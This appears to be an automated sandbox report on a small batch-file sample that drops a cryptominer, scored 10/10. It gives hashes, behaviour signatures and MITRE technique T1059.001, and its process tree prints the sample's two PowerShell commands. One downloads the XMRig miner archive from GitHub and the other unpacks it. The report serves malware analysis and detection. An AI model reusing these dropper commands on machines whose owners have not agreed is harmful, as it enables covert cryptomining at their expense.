c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
1559s
max time network
1560s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 21:06

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General

Target

3.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2260	powershell.exe
6	2260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2260	powershell.exe
2664	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2260	powershell.exe
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 2260	1804	cmd.exe	29
PID 1804 wrote to memory of 2260	1804	cmd.exe	29
PID 1804 wrote to memory of 2260	1804	cmd.exe	29
PID 1804 wrote to memory of 2664	1804	cmd.exe	30
PID 1804 wrote to memory of 2664	1804	cmd.exe	30
PID 1804 wrote to memory of 2664	1804	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8f9d153d385aae6b5e42d9ca3efd151f

SHA1
c014052eb9a450813935d9757f2c4f4dade57bdf

SHA256
85670ed26e11522df7c28bd267e0e483243ce1b97a3050bdc46e6cd9d32de9f5

SHA512
c9d2bfa05563f28844659fca90cf4ae0740bb0fa3d7a155ce0f61ace29da1090263466ca5a8bb4733cdafa638ae1e54d22f418245caa8592fa08fd171528c2db

Download Submit
memory/2260-4-0x000007FEF5DAE000-0x000007FEF5DAF000-memory.dmp

Filesize
4KB

Download
memory/2260-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2260-6-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2260-8-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2260-7-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2260-9-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2260-10-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2260-11-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2260-12-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-19-0x0000000002B30000-0x0000000002B38000-memory.dmp

Filesize
32KB

Download
memory/2664-18-0x000000001B430000-0x000000001B712000-memory.dmp

Filesize
2.9MB

Download